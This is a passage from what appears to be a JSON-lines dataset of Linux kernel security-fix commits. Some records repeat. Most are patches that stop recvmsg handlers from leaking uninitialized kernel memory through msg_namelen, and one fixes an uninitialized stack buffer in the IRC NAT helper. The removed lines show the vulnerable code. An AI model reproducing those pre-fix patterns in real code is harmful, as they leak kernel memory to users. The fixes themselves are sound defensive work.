(sk->sk_shutdown & RCV_SHUTDOWN)\n \t\t\treturn 0;\n-\t\t}\n+\n \t\treturn err;\n \t}\n \n@@ -245,8 +244,6 @@ int bt_sock_recvmsg(struct kiocb *iocb, struct socket *sock,\n \t\tif (bt_sk(sk)->skb_msg_name)\n \t\t\tbt_sk(sk)->skb_msg_name(skb, msg->msg_name,\n \t\t\t\t\t\t&msg->msg_namelen);\n-\t\telse\n-\t\t\tmsg->msg_namelen = 0;\n \t}\n \n \tskb_free_datagram(sk, skb);\n@@ -295,8 +292,6 @@ int bt_sock_stream_recvmsg(struct kiocb *iocb, struct socket *sock,\n \tif (flags & MSG_OOB)\n \t\treturn -EOPNOTSUPP;\n \n-\tmsg->msg_namelen = 0;\n-\n \tBT_DBG(\"sk %p size %zu\", sk, size);\n \n \tlock_sock(sk);", "sections": [{"section": "@@ -224,10 +224,9 @@ int bt_sock_recvmsg(struct kiocb *iocb, struct socket *sock,\n \n \tskb = skb_recv_datagram(sk, flags, noblock, &err);\n \tif (!skb) {\n-\t\tif (sk->sk_shutdown & RCV_SHUTDOWN) {\n-\t\t\tmsg->msg_namelen = 0;\n+\t\tif (sk->sk_shutdown & RCV_SHUTDOWN)\n \t\t\treturn 0;\n-\t\t}\n+\n \t\treturn err;\n \t}\n \n", "related": false}, {"section": "@@ -245,8 +244,6 @@ int bt_sock_recvmsg(struct kiocb *iocb, struct socket *sock,\n \t\tif (bt_sk(sk)->skb_msg_name)\n \t\t\tbt_sk(sk)->skb_msg_name(skb, msg->msg_name,\n \t\t\t\t\t\t&msg->msg_namelen);\n-\t\telse\n-\t\t\tmsg->msg_namelen = 0;\n \t}\n \n \tskb_free_datagram(sk, skb);\n", "related": false}, {"section": "@@ -295,8 +292,6 @@ int bt_sock_stream_recvmsg(struct kiocb *iocb, struct socket *sock,\n \tif (flags & MSG_OOB)\n \t\treturn -EOPNOTSUPP;\n \n-\tmsg->msg_namelen = 0;\n-\n \tBT_DBG(\"sk %p size %zu\", sk, size);\n \n \tlock_sock(sk);", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/key/af_key.c", "commit_id": "f3d3342602f8bcbf37d7c46641cb9bca7618eb1c", "commit_message": "net: rework recvmsg handler msg_name and msg_namelen logic\n\nThis patch now always passes msg->msg_namelen as 0. recvmsg handlers must\nset msg_namelen to the proper size <= sizeof(struct sockaddr_storage)\nto return msg_name to the user.\n\nThis prevents numerous uninitialized memory leaks we had in the\nrecvmsg handlers and makes it harder for new code to accidentally leak\nuninitialized memory.\n\nOptimize for the case recvfrom is called with NULL as address. We don't\nneed to copy the address at all, so set it to NULL before invoking the\nrecvmsg handler. We can do so, because all the recvmsg handlers must\ncope with the case a plain read() is called on them. read() also sets\nmsg_name to NULL.\n\nAlso document these changes in include/linux/net.h as suggested by David\nMiller.\n\nChanges since RFC:\n\nSet msg->msg_name = NULL if user specified a NULL in msg_name but had a\nnon-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't\naffect sendto as it would bail out earlier while trying to copy-in the\naddress. It also more naturally reflects the logic by the callers of\nverify_iovec.\n\nWith this change in place I could remove \"\nif (!uaddr || msg_sys->msg_namelen == 0)\n\tmsg->msg_name = NULL\n\".\n\nThis change does not alter the user visible error logic as we ignore\nmsg_namelen as long as msg_name is NULL.\n\nAlso remove two unnecessary curly brackets in ___sys_recvmsg and change\ncomments to netdev style.\n\nCc: David Miller \nSuggested-by: Eric Dumazet \nSigned-off-by: Hannes Frederic Sowa \nSigned-off-by: David S. Miller ", "patch": "@@ -3616,7 +3616,6 @@ static int pfkey_recvmsg(struct kiocb *kiocb,\n \tif (flags & ~(MSG_PEEK|MSG_DONTWAIT|MSG_TRUNC|MSG_CMSG_COMPAT))\n \t\tgoto out;\n \n-\tmsg->msg_namelen = 0;\n \tskb = skb_recv_datagram(sk, flags, flags & MSG_DONTWAIT, &err);\n \tif (skb == NULL)\n \t\tgoto out;", "sections": [{"section": "@@ -3616,7 +3616,6 @@ static int pfkey_recvmsg(struct kiocb *kiocb,\n \tif (flags & ~(MSG_PEEK|MSG_DONTWAIT|MSG_TRUNC|MSG_CMSG_COMPAT))\n \t\tgoto out;\n \n-\tmsg->msg_namelen = 0;\n \tskb = skb_recv_datagram(sk, flags, flags & MSG_DONTWAIT, &err);\n \tif (skb == NULL)\n \t\tgoto out;", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/rxrpc/ar-recvmsg.c", "commit_id": "f3d3342602f8bcbf37d7c46641cb9bca7618eb1c", "commit_message": "net: rework recvmsg handler msg_name and msg_namelen logic\n\nThis patch now always passes msg->msg_namelen as 0. recvmsg handlers must\nset msg_namelen to the proper size <= sizeof(struct sockaddr_storage)\nto return msg_name to the user.\n\nThis prevents numerous uninitialized memory leaks we had in the\nrecvmsg handlers and makes it harder for new code to accidentally leak\nuninitialized memory.\n\nOptimize for the case recvfrom is called with NULL as address. We don't\nneed to copy the address at all, so set it to NULL before invoking the\nrecvmsg handler. We can do so, because all the recvmsg handlers must\ncope with the case a plain read() is called on them. read() also sets\nmsg_name to NULL.\n\nAlso document these changes in include/linux/net.h as suggested by David\nMiller.\n\nChanges since RFC:\n\nSet msg->msg_name = NULL if user specified a NULL in msg_name but had a\nnon-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't\naffect sendto as it would bail out earlier while trying to copy-in the\naddress. It also more naturally reflects the logic by the callers of\nverify_iovec.\n\nWith this change in place I could remove \"\nif (!uaddr || msg_sys->msg_namelen == 0)\n\tmsg->msg_name = NULL\n\".\n\nThis change does not alter the user visible error logic as we ignore\nmsg_namelen as long as msg_name is NULL.\n\nAlso remove two unnecessary curly brackets in ___sys_recvmsg and change\ncomments to netdev style.\n\nCc: David Miller \nSuggested-by: Eric Dumazet \nSigned-off-by: Hannes Frederic Sowa \nSigned-off-by: David S. Miller ", "patch": "@@ -143,10 +143,13 @@ int rxrpc_recvmsg(struct kiocb *iocb, struct socket *sock,\n \n \t\t/* copy the peer address and timestamp */\n \t\tif (!continue_call) {\n-\t\t\tif (msg->msg_name && msg->msg_namelen > 0)\n+\t\t\tif (msg->msg_name) {\n+\t\t\t\tsize_t len =\n+\t\t\t\t\tsizeof(call->conn->trans->peer->srx);\n \t\t\t\tmemcpy(msg->msg_name,\n-\t\t\t\t &call->conn->trans->peer->srx,\n-\t\t\t\t sizeof(call->conn->trans->peer->srx));\n+\t\t\t\t &call->conn->trans->peer->srx, len);\n+\t\t\t\tmsg->msg_namelen = len;\n+\t\t\t}\n \t\t\tsock_recv_ts_and_drops(msg, &rx->sk, skb);\n \t\t}\n ", "sections": [{"section": "@@ -143,10 +143,13 @@ int rxrpc_recvmsg(struct kiocb *iocb, struct socket *sock,\n \n \t\t/* copy the peer address and timestamp */\n \t\tif (!continue_call) {\n-\t\t\tif (msg->msg_name && msg->msg_namelen > 0)\n+\t\t\tif (msg->msg_name) {\n+\t\t\t\tsize_t len =\n+\t\t\t\t\tsizeof(call->conn->trans->peer->srx);\n \t\t\t\tmemcpy(msg->msg_name,\n-\t\t\t\t &call->conn->trans->peer->srx,\n-\t\t\t\t sizeof(call->conn->trans->peer->srx));\n+\t\t\t\t &call->conn->trans->peer->srx, len);\n+\t\t\t\tmsg->msg_namelen = len;\n+\t\t\t}\n \t\t\tsock_recv_ts_and_drops(msg, &rx->sk, skb);\n \t\t}\n ", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/net/ppp/pppoe.c", "commit_id": "f3d3342602f8bcbf37d7c46641cb9bca7618eb1c", "commit_message": "net: rework recvmsg handler msg_name and msg_namelen logic\n\nThis patch now always passes msg->msg_namelen as 0. recvmsg handlers must\nset msg_namelen to the proper size <= sizeof(struct sockaddr_storage)\nto return msg_name to the user.\n\nThis prevents numerous uninitialized memory leaks we had in the\nrecvmsg handlers and makes it harder for new code to accidentally leak\nuninitialized memory.\n\nOptimize for the case recvfrom is called with NULL as address. We don't\nneed to copy the address at all, so set it to NULL before invoking the\nrecvmsg handler. We can do so, because all the recvmsg handlers must\ncope with the case a plain read() is called on them. read() also sets\nmsg_name to NULL.\n\nAlso document these changes in include/linux/net.h as suggested by David\nMiller.\n\nChanges since RFC:\n\nSet msg->msg_name = NULL if user specified a NULL in msg_name but had a\nnon-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't\naffect sendto as it would bail out earlier while trying to copy-in the\naddress. It also more naturally reflects the logic by the callers of\nverify_iovec.\n\nWith this change in place I could remove \"\nif (!uaddr || msg_sys->msg_namelen == 0)\n\tmsg->msg_name = NULL\n\".\n\nThis change does not alter the user visible error logic as we ignore\nmsg_namelen as long as msg_name is NULL.\n\nAlso remove two unnecessary curly brackets in ___sys_recvmsg and change\ncomments to netdev style.\n\nCc: David Miller \nSuggested-by: Eric Dumazet \nSigned-off-by: Hannes Frederic Sowa \nSigned-off-by: David S. Miller ", "patch": "@@ -979,8 +979,6 @@ static int pppoe_recvmsg(struct kiocb *iocb, struct socket *sock,\n \tif (error < 0)\n \t\tgoto end;\n \n-\tm->msg_namelen = 0;\n-\n \tif (skb) {\n \t\ttotal_len = min_t(size_t, total_len, skb->len);\n \t\terror = skb_copy_datagram_iovec(skb, 0, m->msg_iov, total_len);", "sections": [{"section": "@@ -979,8 +979,6 @@ static int pppoe_recvmsg(struct kiocb *iocb, struct socket *sock,\n \tif (error < 0)\n \t\tgoto end;\n \n-\tm->msg_namelen = 0;\n-\n \tif (skb) {\n \t\ttotal_len = min_t(size_t, total_len, skb->len);\n \t\terror = skb_copy_datagram_iovec(skb, 0, m->msg_iov, total_len);", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/compat.c", "commit_id": "f3d3342602f8bcbf37d7c46641cb9bca7618eb1c", "commit_message": "net: rework recvmsg handler msg_name and msg_namelen logic\n\nThis patch now always passes msg->msg_namelen as 0. recvmsg handlers must\nset msg_namelen to the proper size <= sizeof(struct sockaddr_storage)\nto return msg_name to the user.\n\nThis prevents numerous uninitialized memory leaks we had in the\nrecvmsg handlers and makes it harder for new code to accidentally leak\nuninitialized memory.\n\nOptimize for the case recvfrom is called with NULL as address. We don't\nneed to copy the address at all, so set it to NULL before invoking the\nrecvmsg handler. We can do so, because all the recvmsg handlers must\ncope with the case a plain read() is called on them. read() also sets\nmsg_name to NULL.\n\nAlso document these changes in include/linux/net.h as suggested by David\nMiller.\n\nChanges since RFC:\n\nSet msg->msg_name = NULL if user specified a NULL in msg_name but had a\nnon-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't\naffect sendto as it would bail out earlier while trying to copy-in the\naddress. It also more naturally reflects the logic by the callers of\nverify_iovec.\n\nWith this change in place I could remove \"\nif (!uaddr || msg_sys->msg_namelen == 0)\n\tmsg->msg_name = NULL\n\".\n\nThis change does not alter the user visible error logic as we ignore\nmsg_namelen as long as msg_name is NULL.\n\nAlso remove two unnecessary curly brackets in ___sys_recvmsg and change\ncomments to netdev style.\n\nCc: David Miller \nSuggested-by: Eric Dumazet \nSigned-off-by: Hannes Frederic Sowa \nSigned-off-by: David S. Miller ", "patch": "@@ -93,7 +93,8 @@ int verify_compat_iovec(struct msghdr *kern_msg, struct iovec *kern_iov,\n \t\t\tif (err < 0)\n \t\t\t\treturn err;\n \t\t}\n-\t\tkern_msg->msg_name = kern_address;\n+\t\tif (kern_msg->msg_name)\n+\t\t\tkern_msg->msg_name = kern_address;\n \t} else\n \t\tkern_msg->msg_name = NULL;\n ", "sections": [{"section": "@@ -93,7 +93,8 @@ int verify_compat_iovec(struct msghdr *kern_msg, struct iovec *kern_iov,\n \t\t\tif (err < 0)\n \t\t\t\treturn err;\n \t\t}\n-\t\tkern_msg->msg_name = kern_address;\n+\t\tif (kern_msg->msg_name)\n+\t\t\tkern_msg->msg_name = kern_address;\n \t} else\n \t\tkern_msg->msg_name = NULL;\n ", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/nfc/llcp_sock.c", "commit_id": "f3d3342602f8bcbf37d7c46641cb9bca7618eb1c", "commit_message": "net: rework recvmsg handler msg_name and msg_namelen logic\n\nThis patch now always passes msg->msg_namelen as 0. recvmsg handlers must\nset msg_namelen to the proper size <= sizeof(struct sockaddr_storage)\nto return msg_name to the user.\n\nThis prevents numerous uninitialized memory leaks we had in the\nrecvmsg handlers and makes it harder for new code to accidentally leak\nuninitialized memory.\n\nOptimize for the case recvfrom is called with NULL as address. We don't\nneed to copy the address at all, so set it to NULL before invoking the\nrecvmsg handler. We can do so, because all the recvmsg handlers must\ncope with the case a plain read() is called on them. read() also sets\nmsg_name to NULL.\n\nAlso document these changes in include/linux/net.h as suggested by David\nMiller.\n\nChanges since RFC:\n\nSet msg->msg_name = NULL if user specified a NULL in msg_name but had a\nnon-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't\naffect sendto as it would bail out earlier while trying to copy-in the\naddress. It also more naturally reflects the logic by the callers of\nverify_iovec.\n\nWith this change in place I could remove \"\nif (!uaddr || msg_sys->msg_namelen == 0)\n\tmsg->msg_name = NULL\n\".\n\nThis change does not alter the user visible error logic as we ignore\nmsg_namelen as long as msg_name is NULL.\n\nAlso remove two unnecessary curly brackets in ___sys_recvmsg and change\ncomments to netdev style.\n\nCc: David Miller \nSuggested-by: Eric Dumazet \nSigned-off-by: Hannes Frederic Sowa \nSigned-off-by: David S. Miller ", "patch": "@@ -807,8 +807,6 @@ static int llcp_sock_recvmsg(struct kiocb *iocb, struct socket *sock,\n \n \tpr_debug(\"%p %zu\\n\", sk, len);\n \n-\tmsg->msg_namelen = 0;\n-\n \tlock_sock(sk);\n \n \tif (sk->sk_state == LLCP_CLOSED &&", "sections": [{"section": "@@ -807,8 +807,6 @@ static int llcp_sock_recvmsg(struct kiocb *iocb, struct socket *sock,\n \n \tpr_debug(\"%p %zu\\n\", sk, len);\n \n-\tmsg->msg_namelen = 0;\n-\n \tlock_sock(sk);\n \n \tif (sk->sk_state == LLCP_CLOSED &&", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/vmw_vsock/vmci_transport.c", "commit_id": "f3d3342602f8bcbf37d7c46641cb9bca7618eb1c", "commit_message": "net: rework recvmsg handler msg_name and msg_namelen logic\n\nThis patch now always passes msg->msg_namelen as 0. recvmsg handlers must\nset msg_namelen to the proper size <= sizeof(struct sockaddr_storage)\nto return msg_name to the user.\n\nThis prevents numerous uninitialized memory leaks we had in the\nrecvmsg handlers and makes it harder for new code to accidentally leak\nuninitialized memory.\n\nOptimize for the case recvfrom is called with NULL as address. We don't\nneed to copy the address at all, so set it to NULL before invoking the\nrecvmsg handler. We can do so, because all the recvmsg handlers must\ncope with the case a plain read() is called on them. read() also sets\nmsg_name to NULL.\n\nAlso document these changes in include/linux/net.h as suggested by David\nMiller.\n\nChanges since RFC:\n\nSet msg->msg_name = NULL if user specified a NULL in msg_name but had a\nnon-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't\naffect sendto as it would bail out earlier while trying to copy-in the\naddress. It also more naturally reflects the logic by the callers of\nverify_iovec.\n\nWith this change in place I could remove \"\nif (!uaddr || msg_sys->msg_namelen == 0)\n\tmsg->msg_name = NULL\n\".\n\nThis change does not alter the user visible error logic as we ignore\nmsg_namelen as long as msg_name is NULL.\n\nAlso remove two unnecessary curly brackets in ___sys_recvmsg and change\ncomments to netdev style.\n\nCc: David Miller \nSuggested-by: Eric Dumazet \nSigned-off-by: Hannes Frederic Sowa \nSigned-off-by: David S. Miller ", "patch": "@@ -1746,8 +1746,6 @@ static int vmci_transport_dgram_dequeue(struct kiocb *kiocb,\n \tif (flags & MSG_OOB || flags & MSG_ERRQUEUE)\n \t\treturn -EOPNOTSUPP;\n \n-\tmsg->msg_namelen = 0;\n-\n \t/* Retrieve the head sk_buff from the socket's receive queue. */\n \terr = 0;\n \tskb = skb_recv_datagram(&vsk->sk, flags, noblock, &err);", "sections": [{"section": "@@ -1746,8 +1746,6 @@ static int vmci_transport_dgram_dequeue(struct kiocb *kiocb,\n \tif (flags & MSG_OOB || flags & MSG_ERRQUEUE)\n \t\treturn -EOPNOTSUPP;\n \n-\tmsg->msg_namelen = 0;\n-\n \t/* Retrieve the head sk_buff from the socket's receive queue. */\n \terr = 0;\n \tskb = skb_recv_datagram(&vsk->sk, flags, noblock, &err);", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/bluetooth/af_bluetooth.c", "commit_id": "f3d3342602f8bcbf37d7c46641cb9bca7618eb1c", "commit_message": "net: rework recvmsg handler msg_name and msg_namelen logic\n\nThis patch now always passes msg->msg_namelen as 0. recvmsg handlers must\nset msg_namelen to the proper size <= sizeof(struct sockaddr_storage)\nto return msg_name to the user.\n\nThis prevents numerous uninitialized memory leaks we had in the\nrecvmsg handlers and makes it harder for new code to accidentally leak\nuninitialized memory.\n\nOptimize for the case recvfrom is called with NULL as address. We don't\nneed to copy the address at all, so set it to NULL before invoking the\nrecvmsg handler. We can do so, because all the recvmsg handlers must\ncope with the case a plain read() is called on them. read() also sets\nmsg_name to NULL.\n\nAlso document these changes in include/linux/net.h as suggested by David\nMiller.\n\nChanges since RFC:\n\nSet msg->msg_name = NULL if user specified a NULL in msg_name but had a\nnon-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't\naffect sendto as it would bail out earlier while trying to copy-in the\naddress. It also more naturally reflects the logic by the callers of\nverify_iovec.\n\nWith this change in place I could remove \"\nif (!uaddr || msg_sys->msg_namelen == 0)\n\tmsg->msg_name = NULL\n\".\n\nThis change does not alter the user visible error logic as we ignore\nmsg_namelen as long as msg_name is NULL.\n\nAlso remove two unnecessary curly brackets in ___sys_recvmsg and change\ncomments to netdev style.\n\nCc: David Miller \nSuggested-by: Eric Dumazet \nSigned-off-by: Hannes Frederic Sowa \nSigned-off-by: David S. Miller ", "patch": "@@ -224,10 +224,9 @@ int bt_sock_recvmsg(struct kiocb *iocb, struct socket *sock,\n \n \tskb = skb_recv_datagram(sk, flags, noblock, &err);\n \tif (!skb) {\n-\t\tif (sk->sk_shutdown & RCV_SHUTDOWN) {\n-\t\t\tmsg->msg_namelen = 0;\n+\t\tif (sk->sk_shutdown & RCV_SHUTDOWN)\n \t\t\treturn 0;\n-\t\t}\n+\n \t\treturn err;\n \t}\n \n@@ -245,8 +244,6 @@ int bt_sock_recvmsg(struct kiocb *iocb, struct socket *sock,\n \t\tif (bt_sk(sk)->skb_msg_name)\n \t\t\tbt_sk(sk)->skb_msg_name(skb, msg->msg_name,\n \t\t\t\t\t\t&msg->msg_namelen);\n-\t\telse\n-\t\t\tmsg->msg_namelen = 0;\n \t}\n \n \tskb_free_datagram(sk, skb);\n@@ -295,8 +292,6 @@ int bt_sock_stream_recvmsg(struct kiocb *iocb, struct socket *sock,\n \tif (flags & MSG_OOB)\n \t\treturn -EOPNOTSUPP;\n \n-\tmsg->msg_namelen = 0;\n-\n \tBT_DBG(\"sk %p size %zu\", sk, size);\n \n \tlock_sock(sk);", "sections": [{"section": "@@ -224,10 +224,9 @@ int bt_sock_recvmsg(struct kiocb *iocb, struct socket *sock,\n \n \tskb = skb_recv_datagram(sk, flags, noblock, &err);\n \tif (!skb) {\n-\t\tif (sk->sk_shutdown & RCV_SHUTDOWN) {\n-\t\t\tmsg->msg_namelen = 0;\n+\t\tif (sk->sk_shutdown & RCV_SHUTDOWN)\n \t\t\treturn 0;\n-\t\t}\n+\n \t\treturn err;\n \t}\n \n", "related": false}, {"section": "@@ -245,8 +244,6 @@ int bt_sock_recvmsg(struct kiocb *iocb, struct socket *sock,\n \t\tif (bt_sk(sk)->skb_msg_name)\n \t\t\tbt_sk(sk)->skb_msg_name(skb, msg->msg_name,\n \t\t\t\t\t\t&msg->msg_namelen);\n-\t\telse\n-\t\t\tmsg->msg_namelen = 0;\n \t}\n \n \tskb_free_datagram(sk, skb);\n", "related": false}, {"section": "@@ -295,8 +292,6 @@ int bt_sock_stream_recvmsg(struct kiocb *iocb, struct socket *sock,\n \tif (flags & MSG_OOB)\n \t\treturn -EOPNOTSUPP;\n \n-\tmsg->msg_namelen = 0;\n-\n \tBT_DBG(\"sk %p size %zu\", sk, size);\n \n \tlock_sock(sk);", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/key/af_key.c", "commit_id": "f3d3342602f8bcbf37d7c46641cb9bca7618eb1c", "commit_message": "net: rework recvmsg handler msg_name and msg_namelen logic\n\nThis patch now always passes msg->msg_namelen as 0. recvmsg handlers must\nset msg_namelen to the proper size <= sizeof(struct sockaddr_storage)\nto return msg_name to the user.\n\nThis prevents numerous uninitialized memory leaks we had in the\nrecvmsg handlers and makes it harder for new code to accidentally leak\nuninitialized memory.\n\nOptimize for the case recvfrom is called with NULL as address. We don't\nneed to copy the address at all, so set it to NULL before invoking the\nrecvmsg handler. We can do so, because all the recvmsg handlers must\ncope with the case a plain read() is called on them. read() also sets\nmsg_name to NULL.\n\nAlso document these changes in include/linux/net.h as suggested by David\nMiller.\n\nChanges since RFC:\n\nSet msg->msg_name = NULL if user specified a NULL in msg_name but had a\nnon-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't\naffect sendto as it would bail out earlier while trying to copy-in the\naddress. It also more naturally reflects the logic by the callers of\nverify_iovec.\n\nWith this change in place I could remove \"\nif (!uaddr || msg_sys->msg_namelen == 0)\n\tmsg->msg_name = NULL\n\".\n\nThis change does not alter the user visible error logic as we ignore\nmsg_namelen as long as msg_name is NULL.\n\nAlso remove two unnecessary curly brackets in ___sys_recvmsg and change\ncomments to netdev style.\n\nCc: David Miller \nSuggested-by: Eric Dumazet \nSigned-off-by: Hannes Frederic Sowa \nSigned-off-by: David S. Miller ", "patch": "@@ -3616,7 +3616,6 @@ static int pfkey_recvmsg(struct kiocb *kiocb,\n \tif (flags & ~(MSG_PEEK|MSG_DONTWAIT|MSG_TRUNC|MSG_CMSG_COMPAT))\n \t\tgoto out;\n \n-\tmsg->msg_namelen = 0;\n \tskb = skb_recv_datagram(sk, flags, flags & MSG_DONTWAIT, &err);\n \tif (skb == NULL)\n \t\tgoto out;", "sections": [{"section": "@@ -3616,7 +3616,6 @@ static int pfkey_recvmsg(struct kiocb *kiocb,\n \tif (flags & ~(MSG_PEEK|MSG_DONTWAIT|MSG_TRUNC|MSG_CMSG_COMPAT))\n \t\tgoto out;\n \n-\tmsg->msg_namelen = 0;\n \tskb = skb_recv_datagram(sk, flags, flags & MSG_DONTWAIT, &err);\n \tif (skb == NULL)\n \t\tgoto out;", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/rxrpc/ar-recvmsg.c", "commit_id": "f3d3342602f8bcbf37d7c46641cb9bca7618eb1c", "commit_message": "net: rework recvmsg handler msg_name and msg_namelen logic\n\nThis patch now always passes msg->msg_namelen as 0. recvmsg handlers must\nset msg_namelen to the proper size <= sizeof(struct sockaddr_storage)\nto return msg_name to the user.\n\nThis prevents numerous uninitialized memory leaks we had in the\nrecvmsg handlers and makes it harder for new code to accidentally leak\nuninitialized memory.\n\nOptimize for the case recvfrom is called with NULL as address. We don't\nneed to copy the address at all, so set it to NULL before invoking the\nrecvmsg handler. We can do so, because all the recvmsg handlers must\ncope with the case a plain read() is called on them. read() also sets\nmsg_name to NULL.\n\nAlso document these changes in include/linux/net.h as suggested by David\nMiller.\n\nChanges since RFC:\n\nSet msg->msg_name = NULL if user specified a NULL in msg_name but had a\nnon-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't\naffect sendto as it would bail out earlier while trying to copy-in the\naddress. It also more naturally reflects the logic by the callers of\nverify_iovec.\n\nWith this change in place I could remove \"\nif (!uaddr || msg_sys->msg_namelen == 0)\n\tmsg->msg_name = NULL\n\".\n\nThis change does not alter the user visible error logic as we ignore\nmsg_namelen as long as msg_name is NULL.\n\nAlso remove two unnecessary curly brackets in ___sys_recvmsg and change\ncomments to netdev style.\n\nCc: David Miller \nSuggested-by: Eric Dumazet \nSigned-off-by: Hannes Frederic Sowa \nSigned-off-by: David S. Miller ", "patch": "@@ -143,10 +143,13 @@ int rxrpc_recvmsg(struct kiocb *iocb, struct socket *sock,\n \n \t\t/* copy the peer address and timestamp */\n \t\tif (!continue_call) {\n-\t\t\tif (msg->msg_name && msg->msg_namelen > 0)\n+\t\t\tif (msg->msg_name) {\n+\t\t\t\tsize_t len =\n+\t\t\t\t\tsizeof(call->conn->trans->peer->srx);\n \t\t\t\tmemcpy(msg->msg_name,\n-\t\t\t\t &call->conn->trans->peer->srx,\n-\t\t\t\t sizeof(call->conn->trans->peer->srx));\n+\t\t\t\t &call->conn->trans->peer->srx, len);\n+\t\t\t\tmsg->msg_namelen = len;\n+\t\t\t}\n \t\t\tsock_recv_ts_and_drops(msg, &rx->sk, skb);\n \t\t}\n ", "sections": [{"section": "@@ -143,10 +143,13 @@ int rxrpc_recvmsg(struct kiocb *iocb, struct socket *sock,\n \n \t\t/* copy the peer address and timestamp */\n \t\tif (!continue_call) {\n-\t\t\tif (msg->msg_name && msg->msg_namelen > 0)\n+\t\t\tif (msg->msg_name) {\n+\t\t\t\tsize_t len =\n+\t\t\t\t\tsizeof(call->conn->trans->peer->srx);\n \t\t\t\tmemcpy(msg->msg_name,\n-\t\t\t\t &call->conn->trans->peer->srx,\n-\t\t\t\t sizeof(call->conn->trans->peer->srx));\n+\t\t\t\t &call->conn->trans->peer->srx, len);\n+\t\t\t\tmsg->msg_namelen = len;\n+\t\t\t}\n \t\t\tsock_recv_ts_and_drops(msg, &rx->sk, skb);\n \t\t}\n ", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/netfilter/nf_nat_irc.c", "commit_id": "2690d97ade05c5325cbf7c72b94b90d265659886", "commit_message": "netfilter: nf_nat: fix access to uninitialized buffer in IRC NAT helper\n\nCommit 5901b6be885e attempted to introduce IPv6 support into\nIRC NAT helper. By doing so, the following code seemed to be removed\nby accident:\n\n ip = ntohl(exp->master->tuplehash[IP_CT_DIR_REPLY].tuple.dst.u3.ip);\n sprintf(buffer, \"%u %u\", ip, port);\n pr_debug(\"nf_nat_irc: inserting '%s' == %pI4, port %u\\n\", buffer, &ip, port);\n\nThis leads to the fact that buffer[] was left uninitialized and\ncontained some stack value. When we call nf_nat_mangle_tcp_packet(),\nwe call strlen(buffer) on excatly this uninitialized buffer. If we\nare unlucky and the skb has enough tailroom, we overwrite resp. leak\ncontents with values that sit on our stack into the packet and send\nthat out to the receiver.\n\nSince the rather informal DCC spec [1] does not seem to specify\nIPv6 support right now, we log such occurences so that admins can\nact accordingly, and drop the packet. I've looked into XChat source,\nand IPv6 is not supported there: addresses are in u32 and print\nvia %u format string.\n\nTherefore, restore old behaviour as in IPv4, use snprintf(). The\nIRC helper does not support IPv6 by now. By this, we can safely use\nstrlen(buffer) in nf_nat_mangle_tcp_packet() and prevent a buffer\noverflow. Also simplify some code as we now have ct variable anyway.\n\n [1] http://www.irchelp.org/irchelp/rfc/ctcpspec.html\n\nFixes: 5901b6be885e (\"netfilter: nf_nat: support IPv6 in IRC NAT helper\")\nSigned-off-by: Daniel Borkmann \nCc: Harald Welte \nSigned-off-by: Pablo Neira Ayuso ", "patch": "@@ -34,10 +34,14 @@ static unsigned int help(struct sk_buff *skb,\n \t\t\t struct nf_conntrack_expect *exp)\n {\n \tchar buffer[sizeof(\"4294967296 65635\")];\n+\tstruct nf_conn *ct = exp->master;\n+\tunion nf_inet_addr newaddr;\n \tu_int16_t port;\n \tunsigned int ret;\n \n \t/* Reply comes from server. */\n+\tnewaddr = ct->tuplehash[IP_CT_DIR_REPLY].tuple.dst.u3;\n+\n \texp->saved_proto.tcp.port = exp->tuple.dst.u.tcp.port;\n \texp->dir = IP_CT_DIR_REPLY;\n \texp->expectfn = nf_nat_follow_master;\n@@ -57,17 +61,35 @@ static unsigned int help(struct sk_buff *skb,\n \t}\n \n \tif (port == 0) {\n-\t\tnf_ct_helper_log(skb, exp->master, \"all ports in use\");\n+\t\tnf_ct_helper_log(skb, ct, \"all ports in use\");\n \t\treturn NF_DROP;\n \t}\n \n-\tret = nf_nat_mangle_tcp_packet(skb, exp->master, ctinfo,\n-\t\t\t\t protoff, matchoff, matchlen, buffer,\n-\t\t\t\t strlen(buffer));\n+\t/* strlen(\"\\1DCC CHAT chat AAAAAAAA P\\1\\n\")=27\n+\t * strlen(\"\\1DCC SCHAT chat AAAAAAAA P\\1\\n\")=28\n+\t * strlen(\"\\1DCC SEND F AAAAAAAA P S\\1\\n\")=26\n+\t * strlen(\"\\1DCC MOVE F AAAAAAAA P S\\1\\n\")=26\n+\t * strlen(\"\\1DCC TSEND F AAAAAAAA P S\\1\\n\")=27\n+\t *\n+\t * AAAAAAAAA: bound addr (1.0.0.0==16777216, min 8 digits,\n+\t * 255.255.255.255==4294967296, 10 digits)\n+\t * P: bound port (min 1 d, max 5d (65635))\n+\t * F: filename (min 1 d )\n+\t * S: size (min 1 d )\n+\t * 0x01, \\n: terminators\n+\t */\n+\t/* AAA = \"us\", ie. where server normally talks to. */\n+\tsnprintf(buffer, sizeof(buffer), \"%u %u\", ntohl(newaddr.ip), port);\n+\tpr_debug(\"nf_nat_irc: inserting '%s' == %pI4, port %u\\n\",\n+\t\t buffer, &newaddr.ip, port);\n+\n+\tret = nf_nat_mangle_tcp_packet(skb, ct, ctinfo, protoff, matchoff,\n+\t\t\t\t matchlen, buffer, strlen(buffer));\n \tif (ret != NF_ACCEPT) {\n-\t\tnf_ct_helper_log(skb, exp->master, \"cannot mangle packet\");\n+\t\tnf_ct_helper_log(skb, ct, \"cannot mangle packet\");\n \t\tnf_ct_unexpect_related(exp);\n \t}\n+\n \treturn ret;\n }\n ", "sections": [{"section": 